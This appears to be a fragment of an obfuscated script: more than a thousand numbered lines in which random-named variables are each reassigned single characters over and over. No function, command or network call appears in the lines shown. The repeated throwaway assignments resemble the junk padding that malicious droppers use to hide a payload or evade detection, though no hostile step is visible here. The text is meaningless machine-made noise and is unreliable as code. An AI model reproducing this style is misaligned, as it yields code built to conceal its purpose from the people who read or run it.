294	gbpahlln = "i";
295	gbpahlln = "I";
296	gbpahlln = "b";
297	gbpahlln = "d";
298	gbpahlln = "a";
299	gbpahlln = "L";
300	gbpahlln = "N";
301	gbpahlln = "E";
302	oyacprwuh = "J";
303	oyacprwuh = "Y";
304	oyacprwuh = "A";
305	oyacprwuh = "U";
306	oyacprwuh = "W";
307	oyacprwuh = "Y";
308	oyacprwuh = "z";
309	oyacprwuh = "X";
310	oyacprwuh = "h";
311	oyacprwuh = "H";
312	oyacprwuh = "k";
313	oyacprwuh = "s";
314	oyacprwuh = "U";
315	oyacprwuh = "W";
316	oyacprwuh = "p";
317	oyacprwuh = "M";
318	oyacprwuh = "Z";
319	oyacprwuh = "i";
320	oyacprwuh = "O";
321	oyacprwuh = "d";
322	oyacprwuh = "K";
323	oyacprwuh = "T";
324	oyacprwuh = "E";
325	oyacprwuh = "N";
326	oyacprwuh = "b";
327	oyacprwuh = "I";
328	oyacprwuh = "i";
329	oyacprwuh = "D";
330	oyacprwuh = "U";
331	oyacprwuh = "q";
332	oyacprwuh = "Z";
333	oyacprwuh = "w";
334	oyacprwuh = "x";
335	ljabvjh = "f";
336	ljabvjh = "t";
337	ljabvjh = "f";
338	ljabvjh = "F";
339	ljabvjh = "y";
340	ljabvjh = "n";
341	ljabvjh = "n";
342	ljabvjh = "f";
343	ljabvjh = "h";
344	ljabvjh = "n";
345	ljabvjh = "G";
346	ljabvjh = "u";
347	ljabvjh = "S";
348	ljabvjh = "S";
349	ljabvjh = "f";
350	ljabvjh = "b";
351	ljabvjh = "p";
352	ljabvjh = "L";
353	ljabvjh = "p";
354	ljabvjh = "a";
355	ljabvjh = "M";
356	ljabvjh = "p";
357	ljabvjh = "x";
358	ljabvjh = "X";
359	ljabvjh = "u";
360	ljabvjh = "N";
361	ljabvjh = "v";
362	ljabvjh = "T";
363	ljabvjh = "r";
364	ljabvjh = "v";
365	ljabvjh = "S";
366	ljabvjh = "F";
367	jhyokzjgx = "R";
368	jhyokzjgx = "y";
369	jhyokzjgx = "m";
370	jhyokzjgx = "u";
371	jhyokzjgx = "H";
372	jhyokzjgx = "X";
373	jhyokzjgx = "H";
374	jhyokzjgx = "W";
375	jhyokzjgx = "m";
376	jhyokzjgx = "d";
377	jhyokzjgx = "Z";
378	jhyokzjgx = "h";
379	jhyokzjgx = "P";
380	jhyokzjgx = "l";
381	jhyokzjgx = "L";
382	jhyokzjgx = "k";
383	jhyokzjgx = "x";
384	jhyokzjgx = "W";
385	jhyokzjgx = "E";
386	jhyokzjgx = "j";
387	jhyokzjgx = "w";
388	jhyokzjgx = "X";
389	jhyokzjgx = "f";
390	pnujhdir = "a";
391	pnujhdir = "C";
392	pnujhdir = "U";
393	pnujhdir = "u";
394	pnujhdir = "c";
395	pnujhdir = "l";
396	pnujhdir = "r";
397	pnujhdir = "b";
398	pnujhdir = "H";
399	pnujhdir = "H";
400	pnujhdir = "A";
401	pnujhdir = "k";
402	pnujhdir = "u";
403	pnujhdir = "m";
404	pnujhdir = "o";
405	pnujhdir = "e";
406	pnujhdir = "w";
407	pnujhdir = "I";
408	pnujhdir = "Q";
409	pnujhdir = "z";
410	pnujhdir = "J";
411	pnujhdir = "V";
412	pnujhdir = "c";
413	pnujhdir = "D";
414	pnujhdir = "H";
415	pnujhdir = "X";
416	pnujhdir = "s";
417	pnujhdir = "u";
418	pnujhdir = "P";
419	pnujhdir = "m";
420	pnujhdir = "i";
421	pnujhdir = "R";
422	pnujhdir = "k";
423	pnujhdir = "G";
424	pnujhdir = "H";
425	pnujhdir = "h";
426	pnujhdir = "d";
427	pnujhdir = "u";
428	pnujhdir = "c";
429	gbqindtn = "K";
430	gbqindtn = "m";
431	gbqindtn = "w";
432	gbqindtn = "q";
433	gbqindtn = "H";
434	gbqindtn = "I";
435	gbqindtn = "A";
436	gbqindtn = "v";
437	gbqindtn = "q";
438	gbqindtn = "R";
439	gbqindtn = "C";
440	gbqindtn = "d";
441	gbqindtn = "h";
442	gbqindtn = "j";
443	gbqindtn = "P";
444	gbqindtn = "D";
445	gbqindtn = "K";
446	gbqindtn = "i";
447	gbqindtn = "l";
448	gbqindtn = "R";
449	gbqindtn = "V";
450	gbqindtn = "W";
451	gbqindtn = "z";
452	gbqindtn = "B";
453	gbqindtn = "C";
454	gbqindtn = "E";
455	gbqindtn = "l";
456	gbqindtn = "D";
457	gbqindtn = "i";
458	gbqindtn = "H";
459	gbqindtn = "V";
460	gbqindtn = "H";
461	broqz = "Y";
462	broqz = "Z";
463	broqz = "I";
464	broqz = "a";
465	broqz = "V";
466	broqz = "n";
467	broqz = "K";
468	broqz = "m";
469	broqz = "N";
470	broqz = "D";
471	broqz = "S";
472	broqz = "y";
473	broqz = "u";
474	broqz = "f";
475	broqz = "j";
476	broqz = "Q";
477	broqz = "s";
478	broqz = "v";
479	broqz = "R";
480	broqz = "h";
481	broqz = "E";
482	broqz = "u";
483	broqz = "h";
484	broqz = "s";
485	broqz = "W";
486	broqz = "w";
487	broqz = "H";
488	broqz = "Y";
489	broqz = "Q";
490	broqz = "q";
491	broqz = "V";
492	broqz = "w";
493	broqz = "\\";
494	krglfb = "A";
495	krglfb = "s";
496	krglfb = "H";
497	krglfb = "e";
498	krglfb = "l";
499	krglfb = "v";
500	krglfb = "i";
501	krglfb = "K";
502	krglfb = "V";
503	krglfb = "j";
504	krglfb = "t";
505	krglfb = "U";
506	krglfb = "E";
507	krglfb = "y";
508	krglfb = "K";
509	krglfb = "Y";
510	krglfb = "H";
511	krglfb = "R";
512	krglfb = "a";
513	krglfb = "a";
514	krglfb = "w";
515	krglfb = "S";
516	krglfb = "P";
517	krglfb = "L";
518	krglfb = "O";
519	krglfb = "P";
520	krglfb = "k";
521	krglfb = ".";
522	tscqseje = "C";
523	tscqseje = "v";
524	tscqseje = "Y";
525	tscqseje = "s";
526	mtvako = "x";
527	mtvako = "J";
528	mtvako = "q";
529	mtvako = "V";
530	mtvako = "C";
531	mtvako = "S";
532	mtvako = "X";
533	mtvako = "U";
534	mtvako = "C";
535	mtvako = "m";
536	mtvako = "b";
537	mtvako = "M";
538	mtvako = "N";
539	mtvako = "y";
540	mtvako = "h";
541	mtvako = "K";
542	mtvako = "f";
543	mtvako = "F";
544	mtvako = "P";
545	mtvako = "n";
546	mtvako = "S";
547	mtvako = "h";
548	mtvako = "O";
549	mtvako = "W";
550	mtvako = "o";
551	mtvako = "l";
552	mtvako = "x";
553	mtvako = "W";
554	mtvako = "z";
555	mtvako = "w";
556	mtvako = "l";
557	mtvako = "i";
558	mtvako = "Z";
559	mtvako = "k";
560	mtvako = "P";
561	mtvako = "r";
562	mtvako = "K";
563	mtvako = "P";
564	mtvako = "z";
565	mtvako = "a";
566	mtvako = "U";
567	mtvako = "u";
568	mtvako = "r";
569	qmoyjbk = "i";
570	qmoyjbk = "Y";
571	qmoyjbk = "O";
572	qmoyjbk = "I";
573	qmoyjbk = "Z";
574	qmoyjbk = "F";
575	qmoyjbk = "N";
576	qmoyjbk = "P";
577	qmoyjbk = "S";
578	qmoyjbk = "X";
579	qmoyjbk = "z";
580	qmoyjbk = "D";
581	qmoyjbk = "o";
582	qmoyjbk = "y";
583	qmoyjbk = "r";
584	qmoyjbk = "L";
585	qmoyjbk = "q";
586	qmoyjbk = "F";
587	qmoyjbk = "F";
588	qmoyjbk = "t";
589	qmoyjbk = "o";
590	qmoyjbk = "i";
591	qmoyjbk = "P";
592	qmoyjbk = "J";
593	qmoyjbk = "h";
594	qmoyjbk = "Y";
595	qmoyjbk = "Y";
596	qmoyjbk = "G";
597	qmoyjbk = "x";
598	qmoyjbk = "Q";
599	qmoyjbk = "Z";
600	qmoyjbk = "L";
601	qmoyjbk = "s";
602	qmoyjbk = "k";
603	qmoyjbk = "1";
604	uqpayopsl = "G";
605	uqpayopsl = "m";
606	xdzgf = "F";
607	xdzgf = "a";
608	xdzgf = "b";
609	xdzgf = "U";
610	xdzgf = "s";
611	xdzgf = "g";
612	xdzgf = "J";
613	xdzgf = "S";
614	xdzgf = "U";
615	xdzgf = "C";
616	xdzgf = "d";
617	xdzgf = "A";
618	xdzgf = "I";
619	xdzgf = "B";
620	xdzgf = "p";
621	xdzgf = "F";
622	xdzgf = "d";
623	xdzgf = "O";
624	xdzgf = "E";
625	xdzgf = "T";
626	xdzgf = "Z";
627	xdzgf = "d";
628	xdzgf = "W";
629	xdzgf = "M";
630	xdzgf = "Q";
631	xdzgf = "c";
632	xdzgf = "d";
633	xdzgf = "g";
634	xdzgf = "F";
635	xdzgf = "Z";
636	xdzgf = "I";
637	xdzgf = "Q";
638	pvuitvgr = "V";
639	pvuitvgr = "U";
640	pvuitvgr = "e";
641	pvuitvgr = "j";
642	pvuitvgr = "r";
643	pvuitvgr = "p";
644	pvuitvgr = "a";
645	etrnpuv = "t";
646	etrnpuv = "F";
647	etrnpuv = "e";
648	etrnpuv = "Z";
649	etrnpuv = "V";
650	etrnpuv = "w";
651	etrnpuv = "m";
652	etrnpuv = "n";
653	etrnpuv = "P";
654	etrnpuv = "W";
655	etrnpuv = "H";
656	etrnpuv = "R";
657	etrnpuv = "m";
658	etrnpuv = "I";
659	etrnpuv = "P";
660	etrnpuv = "i";
661	etrnpuv = "x";
662	etrnpuv = "e";
663	etrnpuv = "y";
664	etrnpuv = "Z";
665	etrnpuv = "B";
666	etrnpuv = "a";
667	etrnpuv = "k";
668	etrnpuv = "k";
669	uzswngzap = "S";
670	uzswngzap = "I";
671	uzswngzap = "F";
672	uzswngzap = "I";
673	uzswngzap = "I";
674	uzswngzap = "Y";
675	uzswngzap = "L";
676	uzswngzap = "B";
677	uzswngzap = "c";
678	uzswngzap = "T";
679	udjtbpgqu = "d";
680	udjtbpgqu = "Q";
681	udjtbpgqu = "P";
682	udjtbpgqu = "C";
683	udjtbpgqu = "E";
684	udjtbpgqu = "M";
685	udjtbpgqu = "D";
686	udjtbpgqu = "o";
687	udjtbpgqu = "o";
688	udjtbpgqu = "t";
689	udjtbpgqu = "W";
690	udjtbpgqu = "X";
691	udjtbpgqu = "s";
692	udjtbpgqu = "c";
693	udjtbpgqu = "Y";
694	udjtbpgqu = "K";
695	udjtbpgqu = "D";
696	udjtbpgqu = "I";
697	udjtbpgqu = "r";
698	udjtbpgqu = "Q";
699	udjtbpgqu = "s";
700	udjtbpgqu = "c";
701	udjtbpgqu = "E";
702	udjtbpgqu = "L";
703	udjtbpgqu = "a";
704	udjtbpgqu = "v";
705	zunvveld = "X";
706	zunvveld = "V";
707	zunvveld = "p";
708	zunvveld = "i";
709	zunvveld = "B";
710	zunvveld = "Z";
711	zunvveld = "M";
712	zunvveld = "H";
713	zunvveld = "B";
714	zunvveld = "Y";
715	zunvveld = "e";
716	zunvveld = "S";
717	zunvveld = "C";
718	zunvveld = "Z";
719	zunvveld = "A";
720	zunvveld = "U";
721	zunvveld = "r";
722	zunvveld = "w";
723	zunvveld = "C";
724	zunvveld = "o";
725	zunvveld = "C";
726	zunvveld = "N";
727	zunvveld = "m";
728	zunvveld = "v";
729	zunvveld = "I";
730	zunvveld = "D";
731	zunvveld = "y";
732	zunvveld = "E";
733	zunvveld = "x";
734	zunvveld = "f";
735	zunvveld = "h";
736	zunvveld = "u";
737	zunvveld = "p";
738	zunvveld = "l";
739	zunvveld = "M";
740	zunvveld = "I";
741	zunvveld = "h";
742	rmaddm = "y";
743	rmaddm = "e";
744	rmaddm = "s";
745	rmaddm = "w";
746	rmaddm = "b";
747	rmaddm = "g";
748	rmaddm = "l";
749	rmaddm = "d";
750	rmaddm = "w";
751	rmaddm = "F";
752	rmaddm = "j";
753	rmaddm = "x";
754	rmaddm = "P";
755	rmaddm = "b";
756	rmaddm = "P";
757	rmaddm = "I";
758	rmaddm = "T";
759	rmaddm = "p";
760	rmaddm = "i";
761	rmaddm = "B";
762	rmaddm = "J";
763	rmaddm = "c";
764	rmaddm = "w";
765	rmaddm = "p";
766	rmaddm = "O";
767	rmaddm = "X";
768	rmaddm = "K";
769	rmaddm = "G";
770	rmaddm = "B";
771	rmaddm = "j";
772	rmaddm = "U";
773	rmaddm = "U";
774	btsmalsba = "Y";
775	btsmalsba = "f";
776	btsmalsba = "Y";
777	btsmalsba = "S";
778	btsmalsba = "B";
779	btsmalsba = "S";
780	btsmalsba = "V";
781	btsmalsba = "M";
782	btsmalsba = "s";
783	btsmalsba = "x";
784	btsmalsba = "K";
785	btsmalsba = "D";
786	btsmalsba = "G";
787	btsmalsba = "i";
788	btsmalsba = "y";
789	btsmalsba = "R";
790	btsmalsba = "m";
791	btsmalsba = "j";
792	wuwvtdmi = "5";
793	kzixkbtnf = "p";
794	kzixkbtnf = "U";
795	kzixkbtnf = "t";
796	kzixkbtnf = "n";
797	kzixkbtnf = "R";
798	kzixkbtnf = "v";
799	kzixkbtnf = "d";
800	kzixkbtnf = "f";
801	kzixkbtnf = "X";
802	kzixkbtnf = "P";
803	kzixkbtnf = "P";
804	kzixkbtnf = "Q";
805	kzixkbtnf = "N";
806	kzixkbtnf = "N";
807	kzixkbtnf = "q";
808	kzixkbtnf = "h";
809	kzixkbtnf = "k";
810	kzixkbtnf = "u";
811	kzixkbtnf = "Y";
812	kzixkbtnf = "d";
813	kzixkbtnf = "e";
814	kzixkbtnf = "R";
815	kzixkbtnf = "W";
816	kzixkbtnf = "v";
817	kzixkbtnf = "o";
818	kzixkbtnf = "l";
819	kzixkbtnf = "v";
820	kzixkbtnf = "q";
821	kzixkbtnf = "2";
822	guywrdq = "K";
823	guywrdq = "H";
824	guywrdq = "s";
825	guywrdq = "N";
826	guywrdq = "Z";
827	guywrdq = "l";
828	guywrdq = "u";
829	guywrdq = "P";
830	guywrdq = "X";
831	guywrdq = "i";
832	guywrdq = "H";
833	guywrdq = "M";
834	guywrdq = "J";
835	guywrdq = "x";
836	guywrdq = "c";
837	guywrdq = "b";
838	guywrdq = "r";
839	guywrdq = "r";
840	guywrdq = "E";
841	guywrdq = "a";
842	guywrdq = "w";
843	guywrdq = "o";
844	guywrdq = "q";
845	guywrdq = "n";
846	guywrdq = "g";
847	guywrdq = "F";
848	guywrdq = "d";
849	guywrdq = "T";
850	guywrdq = "h";
851	guywrdq = "z";
852	guywrdq = "N";
853	guywrdq = "Y";
854	guywrdq = "G";
855	guywrdq = "u";
856	guywrdq = "s";
857	guywrdq = "m";
858	guywrdq = "t";
859	guywrdq = "J";
860	guywrdq = "b";
861	guywrdq = "g";
862	guywrdq = "L";
863	guywrdq = "-";
864	ghruigp = "q";
865	ghruigp = "g";
866	ghruigp = "s";
867	ghruigp = "t";
868	ghruigp = "q";
869	ghruigp = "t";
870	ghruigp = "M";
871	ghruigp = "p";
872	ghruigp = "v";
873	ghruigp = "f";
874	ghruigp = "n";
875	ghruigp = "r";
876	ghruigp = "V";
877	ghruigp = "t";
878	ghruigp = "w";
879	ghruigp = "C";
880	ghruigp = "y";
881	ghruigp = "d";
882	ghruigp = "V";
883	ghruigp = "G";
884	ghruigp = "u";
885	ghruigp = "X";
886	ghruigp = "F";
887	ghruigp = "t";
888	ghruigp = "L";
889	ghruigp = "U";
890	ghruigp = "N";
891	ghruigp = "s";
892	ghruigp = "t";
893	ghruigp = "H";
894	ghruigp = "T";
895	ghruigp = "K";
896	ghruigp = "z";
897	ghruigp = "B";
898	ghruigp = "D";
899	ghruigp = "D";
900	ghruigp = "u";
901	calbyihny = "X";
902	calbyihny = "t";
903	calbyihny = "N";
904	calbyihny = "e";
905	calbyihny = "R";
906	calbyihny = "N";
907	calbyihny = "Z";
908	calbyihny = "t";
909	calbyihny = "i";
910	calbyihny = "X";
911	calbyihny = "O";
912	calbyihny = "y";
913	calbyihny = "M";
914	calbyihny = "I";
915	calbyihny = "t";
916	calbyihny = "W";
917	calbyihny = "F";
918	calbyihny = "y";
919	calbyihny = "Y";
920	calbyihny = "T";
921	calbyihny = "J";
922	calbyihny = "l";
923	calbyihny = "z";
924	calbyihny = "a";
925	calbyihny = "A";
926	calbyihny = "n";
927	calbyihny = "Q";
928	calbyihny = "e";
929	calbyihny = "X";
930	calbyihny = "M";
931	calbyihny = "O";
932	calbyihny = "I";
933	calbyihny = "t";
934	calbyihny = "w";
935	calbyihny = "H";
936	calbyihny = "i";
937	calbyihny = "R";
938	calbyihny = "R";
939	calbyihny = "G";
940	calbyihny = "E";
941	calbyihny = "X";
942	calbyihny = "p";
943	gzmnpjq = "V";
944	gzmnpjq = "o";
945	gzmnpjq = "X";
946	gzmnpjq = "M";
947	gzmnpjq = "e";
948	gzmnpjq = "k";
949	gzmnpjq = "e";
950	gzmnpjq = "b";
951	gzmnpjq = "D";
952	gzmnpjq = "a";
953	gzmnpjq = "P";
954	gzmnpjq = "j";
955	gzmnpjq = "H";
956	gzmnpjq = "p";
957	gzmnpjq = "W";
958	gzmnpjq = "x";
959	gzmnpjq = "u";
960	gzmnpjq = "k";
961	gzmnpjq = "V";
962	gzmnpjq = "y";
963	gzmnpjq = "C";
964	lcpklfd = "i";
965	lcpklfd = "B";
966	lcpklfd = "o";
967	lcpklfd = "X";
968	lcpklfd = "D";
969	lcpklfd = "i";
970	lcpklfd = "S";
971	rriverwah = "Z";
972	rriverwah = "r";
973	rriverwah = "Y";
974	rriverwah = "r";
975	rriverwah = "4";
976	oospeir = "r";
977	oospeir = "Z";
978	oospeir = "X";
979	oospeir = "D";
980	oospeir = "W";
981	oospeir = "j";
982	oospeir = "p";
983	oospeir = "W";
984	etcaedwv = "D";
985	etcaedwv = "Z";
986	etcaedwv = "n";
987	etcaedwv = "Q";
988	etcaedwv = "A";
989	etcaedwv = "p";
990	etcaedwv = "K";
991	etcaedwv = "Q";
992	etcaedwv = "s";
993	etcaedwv = "U";
994	etcaedwv = "H";
995	etcaedwv = "N";
996	etcaedwv = "c";
997	etcaedwv = "B";
998	etcaedwv = "q";
999	etcaedwv = "L";
1000	etcaedwv = "e";
1001	etcaedwv = "h";
1002	etcaedwv = "A";
1003	etcaedwv = "Z";
1004	etcaedwv = "Z";
1005	etcaedwv = "E";
1006	etcaedwv = "N";
1007	etcaedwv = "8";
1008	kiolt = "x";
1009	kiolt = "h";
1010	kiolt = "A";
1011	kiolt = "t";
1012	kiolt = "f";
1013	kiolt = "j";
1014	kiolt = "P";
1015	kiolt = "o";
1016	kiolt = "t";
1017	kiolt = "y";
1018	kiolt = "s";
1019	kiolt = "T";
1020	kiolt = "w";
1021	kiolt = "x";
1022	kiolt = "i";
1023	kiolt = "p";
1024	kiolt = "G";
1025	kiolt = "g";
1026	kiolt = "E";
1027	kiolt = "H";
1028	kiolt = "U";
1029	kiolt = "n";
1030	kiolt = "O";
1031	kiolt = "E";
1032	kiolt = "r";
1033	kiolt = "d";
1034	rtourqdz = "m";
1035	rtourqdz = "L";
1036	rtourqdz = "G";
1037	rtourqdz = "f";
1038	rtourqdz = "d";
1039	rtourqdz = "L";
1040	rtourqdz = "J";
1041	rtourqdz = "O";
1042	rtourqdz = "J";
1043	rtourqdz = "Q";
1044	rtourqdz = "q";
1045	rtourqdz = "p";
1046	rtourqdz = "C";
1047	rtourqdz = "x";
1048	rtourqdz = "u";
1049	rtourqdz = "B";
1050	rtourqdz = "l";
1051	rtourqdz = "z";
1052	rtourqdz = "t";
1053	rtourqdz = "m";
1054	rtourqdz = "v";
1055	rtourqdz = "w";
1056	rtourqdz = "s";
1057	rtourqdz = "K";
1058	rtourqdz = "F";
1059	rtourqdz = "m";
1060	rtourqdz = "G";
1061	rtourqdz = "n";
1062	rtourqdz = "B";
1063	rtourqdz = "b";
1064	rtourqdz = "p";
1065	rtourqdz = "g";
1066	rtourqdz = "v";
1067	rtourqdz = "K";
1068	rtourqdz = "Z";
1069	rtourqdz = "o";
1070	rtourqdz = "L";
1071	rtourqdz = "d";
1072	rtourqdz = "t";
1073	rtourqdz = "v";
1074	rtourqdz = "S";
1075	rtourqdz = "D";
1076	rtourqdz = " ";
1077	cinaejn = "K";
1078	cinaejn = "u";
1079	cinaejn = "e";
1080	cinaejn = "P";
1081	cinaejn = "v";
1082	cinaejn = "n";
1083	cinaejn = "z";
1084	cinaejn = "J";
1085	cinaejn = "G";
1086	cinaejn = "J";
1087	cinaejn = "s";
1088	cinaejn = "h";
1089	cinaejn = "R";
1090	cinaejn = "J";
1091	cinaejn = "z";
1092	cinaejn = "M";
1093	cinaejn = "Q";
1094	cinaejn = "9";
1095	ikcxm = "R";
1096	ikcxm = "A";
1097	ikcxm = "x";
1098	ikcxm = "u";
1099	ikcxm = "I";
1100	ikcxm = "G";
1101	ikcxm = "I";
1102	ikcxm = "T";
1103	ikcxm = "X";
1104	ikcxm = "w";
1105	ikcxm = "Y";
1106	ikcxm = "u";
1107	ikcxm = "J";
1108	ikcxm = "o";
1109	ikcxm = "W";
1110	ikcxm = "g";
1111	ikcxm = "j";
1112	ikcxm = "V";
1113	ikcxm = "N";
1114	ikcxm = "&";
1115	rvuiko = "A";
1116	rvuiko = "f";
1117	rvuiko = "a";
1118	rvuiko = "J";
1119	rvuiko = "B";
1120	rvuiko = "b";
1121	rvuiko = "R";
1122	rvuiko = "e";
1123	rvuiko = "U";
1124	rvuiko = "F";
1125	rvuiko = "g";
1126	rvuiko = "r";
1127	rvuiko = "Q";
1128	rvuiko = "u";
1129	rvuiko = "g";
1130	inglj = "U";
1131	inglj = "p";
1132	inglj = "o";
1133	inglj = "b";
1134	inglj = "x";
1135	inglj = "e";
1136	inglj = "d";
1137	inglj = "g";
1138	inglj = "u";
1139	inglj = "m";
1140	inglj = "N";
1141	inglj = "p";
1142	inglj = "i";
1143	inglj = "s";
1144	inglj = "p";
1145	inglj = "w";
1146	inglj = "a";
1147	inglj = "k";
1148	inglj = "i";
1149	inglj = "p";
1150	inglj = "E";
1151	inglj = "u";
1152	inglj = "x";
1153	inglj = "X";
1154	inglj = "t";
1155	inglj = "U";
1156	inglj = "g";
1157	inglj = "p";
1158	inglj = "W";
1159	inglj = "Z";
1160	inglj = "y";
1161	inglj = "F";
1162	inglj = "q";
1163	inglj = "b";
1164	inglj = "I";
1165	inglj = "J";
1166	inglj = "A";
1167	inglj = "u";
1168	inglj = "Y";
1169	inglj = "I";
1170	inglj = "O";
1171	ivppy = "w";
1172	ivppy = "C";
1173	ivppy = "w";
1174	mpipjq = "B";
1175	mpipjq = "K";
1176	mpipjq = "D";
1177	mpipjq = "s";
1178	mpipjq = "e";
1179	mpipjq = "@";
1180	cxqgljoc = "U";
1181	cxqgljoc = "B";
1182	cxqgljoc = "G";
1183	cxqgljoc = "X";
1184	cxqgljoc = "r";
1185	cxqgljoc = "R";
1186	cxqgljoc = "u";
1187	cxqgljoc = "K";
1188	cxqgljoc = "s";
1189	cxqgljoc = "r";
1190	cxqgljoc = "m";
1191	cxqgljoc = "q";
1192	cxqgljoc = "S";
1193	cxqgljoc = "o";
1194	hptkr = "E";
1195	hptkr = "v";
1196	hptkr = "O";
1197	hptkr = "Q";
1198	hptkr = "x";
1199	hptkr = "b";
1200	hptkr = "s";
1201	hptkr = "k";
1202	hptkr = "K";
1203	hptkr = "q";
1204	hptkr = "B";
1205	hptkr = "n";
1206	hptkr = "s";
1207	hptkr = "Y";
1208	hptkr = "C";
1209	hptkr = "k";
1210	hptkr = "r";
1211	hptkr = "K";
1212	hptkr = "H";
1213	hptkr = "K";
1214	hptkr = "I";
1215	hptkr = "r";
1216	hptkr = "Y";
1217	hptkr = "T";
1218	hptkr = "J";
1219	hptkr = "F";
1220	hptkr = "l";
1221	hptkr = "K";
1222	hptkr = "R";
1223	hptkr = "p";
1224	hptkr = "P";
1225	hptkr = "x";
1226	hptkr = "Y";
1227	hptkr = "f";
1228	hptkr = "h";
1229	hptkr = "N";
1230	hptkr = "o";
1231	hptkr = "_";
1232	gbacfvsm = "R";
1233	gbacfvsm = "P";
1234	gbacfvsm = "G";
1235	gbacfvsm = "s";
1236	gbacfvsm = "S";
1237	gbacfvsm = "k";
1238	gbacfvsm = "v";
1239	gbacfvsm = "p";
1240	gbacfvsm = "q";
1241	gbacfvsm = "z";
1242	gbacfvsm = "y";
1243	gbacfvsm = "U";
1244	gbacfvsm = "O";
1245	gbacfvsm = "q";
1246	gbacfvsm = "M";
1247	gbacfvsm = "i";
1248	gbacfvsm = "H";
1249	gbacfvsm = "3";
1250	fdyoil = "s";
1251	fdyoil = "z";
1252	fdyoil = "V";
1253	fdyoil = "Q";
1254	fdyoil = "W";
1255	fdyoil = "h";
1256	fdyoil = "i";
1257	fdyoil = "l";
1258	fdyoil = "k";
1259	fdyoil = "M";
1260	fdyoil = "D";
1261	fdyoil = "r";
1262	fdyoil = "k";
1263	fdyoil = "X";
1264	fdyoil = "O";
1265	fdyoil = "G";
1266	fdyoil = "b";
1267	nmutjd = "A";
1268	nmutjd = "d";
1269	nmutjd = "P";
1270	nmutjd = "k";
1271	nmutjd = "t";
1272	nmutjd = "r";
1273	nmutjd = "V";
1274	nmutjd = "M";
1275	nmutjd = "f";
1276	nmutjd = "Z";
1277	nmutjd = "r";
1278	nmutjd = "o";
1279	nmutjd = "x";
1280	nmutjd = "v";
1281	nmutjd = "W";
1282	nmutjd = "P";
1283	nmutjd = "f";
1284	nmutjd = "V";
1285	nmutjd = "I";
1286	axxovqigr = "z";
1287	axxovqigr = "r";
1288	axxovqigr = "K";
1289	axxovqigr = "o";
1290	axxovqigr = "B";
1291	axxovqigr = "f";
1292	axxovqigr = "j";
1293	axxovqigr = "c";
1294	axxovqigr = "K";
1295	axxovqigr = "o";
1296	axxovqigr = "Y";
1297	axxovqigr = "R";
1298	axxovqigr = "h";
1299	axxovqigr = "T";
1300	axxovqigr = "M";
1301	axxovqigr = "B";
1302	axxovqigr = "t";
1303	impbqkn = "v";
1304	impbqkn = "J";
1305	impbqkn = "O";
1306	impbqkn = "Z";
1307	impbqkn = "G";
1308	impbqkn = "S";
1309	impbqkn = "j";
1310	impbqkn = "R";
1311	impbqkn = "E";
1312	impbqkn = "q";
1313	impbqkn = "b";
1314	impbqkn = "d";
1315	impbqkn = "Z";
1316	impbqkn = "K";
1317	impbqkn = "h";
1318	impbqkn = "q";
1319	impbqkn = "r";
1320	impbqkn = "V";
1321	impbqkn = "j";
1322	impbqkn = "Y";
1323	xyzvr = "q";
1324	xyzvr = "K";
1325	xyzvr = "u";
1326	xyzvr = "S";
1327	xyzvr = "J";
1328	xyzvr = "u";
1329	xyzvr = "s";
1330	xyzvr = "G";
1331	xyzvr = "x";
1332	xyzvr = "U";
1333	xyzvr = "a";
1334	xyzvr = "d";
1335	xyzvr = "x";
1336	xyzvr = "P";
1337	xyzvr = "p";
1338	xyzvr = "L";
1339	xyzvr = "r";
1340	xyzvr = "W";
1341	xyzvr = "A";
1342	xyzvr = "A";
1343	xyzvr = "%";
1344	esntrp = "P";
1345	esntrp = "T";
1346	esntrp = "t";
1347	esntrp = "T";
1348	esntrp = "S";
1349	esntrp = "y";
1350	esntrp = "S";
1351	esntrp = "L";
1352	esntrp = "O";
1353	esntrp = "R";
1354	esntrp = "G";
1355	esntrp = "G";
1356	esntrp = "h";
1357	esntrp = "o";
1358	esntrp = "D";
1359	esntrp = "i";
1360	esntrp = "K";
1361	xwsaupogi = "x";
1362	xwsaupogi = "p";
1363	xwsaupogi = "B";
1364	xwsaupogi = "o";
1365	xwsaupogi = "W";
1366	xwsaupogi = "v";
1367	xwsaupogi = "Z";
1368	xwsaupogi = "U";
1369	xwsaupogi = "A";
1370	xwsaupogi = "G";
1371	xwsaupogi = "L";
1372	xwsaupogi = "W";
1373	xwsaupogi = "x";
1374	xwsaupogi = "n";
1375	xwsaupogi = "Z";
1376	xwsaupogi = "d";
1377	xwsaupogi = "y";
1378	xwsaupogi = "O";
1379	xwsaupogi = "V";
1380	xwsaupogi = "Z";
1381	xwsaupogi = "M";
1382	xwsaupogi = "U";
1383	xwsaupogi = "A";
1384	xwsaupogi = "i";
1385	xwsaupogi = "F";
1386	xwsaupogi = "A";
1387	xwsaupogi = "P";
1388	xwsaupogi = "k";
1389	xwsaupogi = "s";
1390	xwsaupogi = "C";
1391	xwsaupogi = "B";
1392	xwsaupogi = "i";
1393	xwsaupogi = "O";
1394	xwsaupogi = "E";
1395	xwsaupogi = "Z";
1396	xwsaupogi = "Q";
1397	xwsaupogi = "g";
1398	xwsaupogi = "a";
1399	xwsaupogi = "B";
1400	xwsaupogi = "B";
1401	xwsaupogi = "C";
1402	xwsaupogi = "p";
1403	xwsaupogi = "J";
1404	xwsaupogi = "n";
1405	gmybyj = "p";
1406	gmybyj = "X";
1407	gmybyj = "B";
1408	gmybyj = "L";
1409	gmybyj = "A";
1410	gmybyj = "K";
1411	gmybyj = "Y";
1412	gmybyj = "C";
1413	gmybyj = "N";
1414	gmybyj = "t";
1415	gmybyj = "V";
1416	gmybyj = "M";
1417	gmybyj = "q";
1418	gmybyj = "P";
1419	gmybyj = "t";
1420	gmybyj = "Y";
1421	gmybyj = "D";
1422	gmybyj = "l";
1423	gmybyj = "V";
1424	gmybyj = "0";
1425	epozryh = "w";
1426	epozryh = "R";
1427	epozryh = "N";
1428	epozryh = "b";
1429	epozryh = "z";
1430	epozryh = "W";
1431	epozryh = "N";
1432	epozryh = "H";
1433	epozryh = "l";
1434	epozryh = "B";
1435	epozryh = "v";
1436	epozryh = "j";
1437	epozryh = "A";
1438	epozryh = "K";
1439	epozryh = "e";
1440	epozryh = "j";
1441	epozryh = "w";
1442	epozryh = "a";
1443	epozryh = "D";
1444	epozryh = "n";
1445	epozryh = "z";
1446	epozryh = "Q";
1447	epozryh = "l";
1448	epozryh = "P";
1449	epozryh = "a";
1450	epozryh = "e";
1451	epozryh = "n";
1452	epozryh = "Z";
1453	epozryh = "d";
1454	epozryh = "L";
1455	epozryh = "Y";
1456	epozryh = "v";
1457	epozryh = "i";
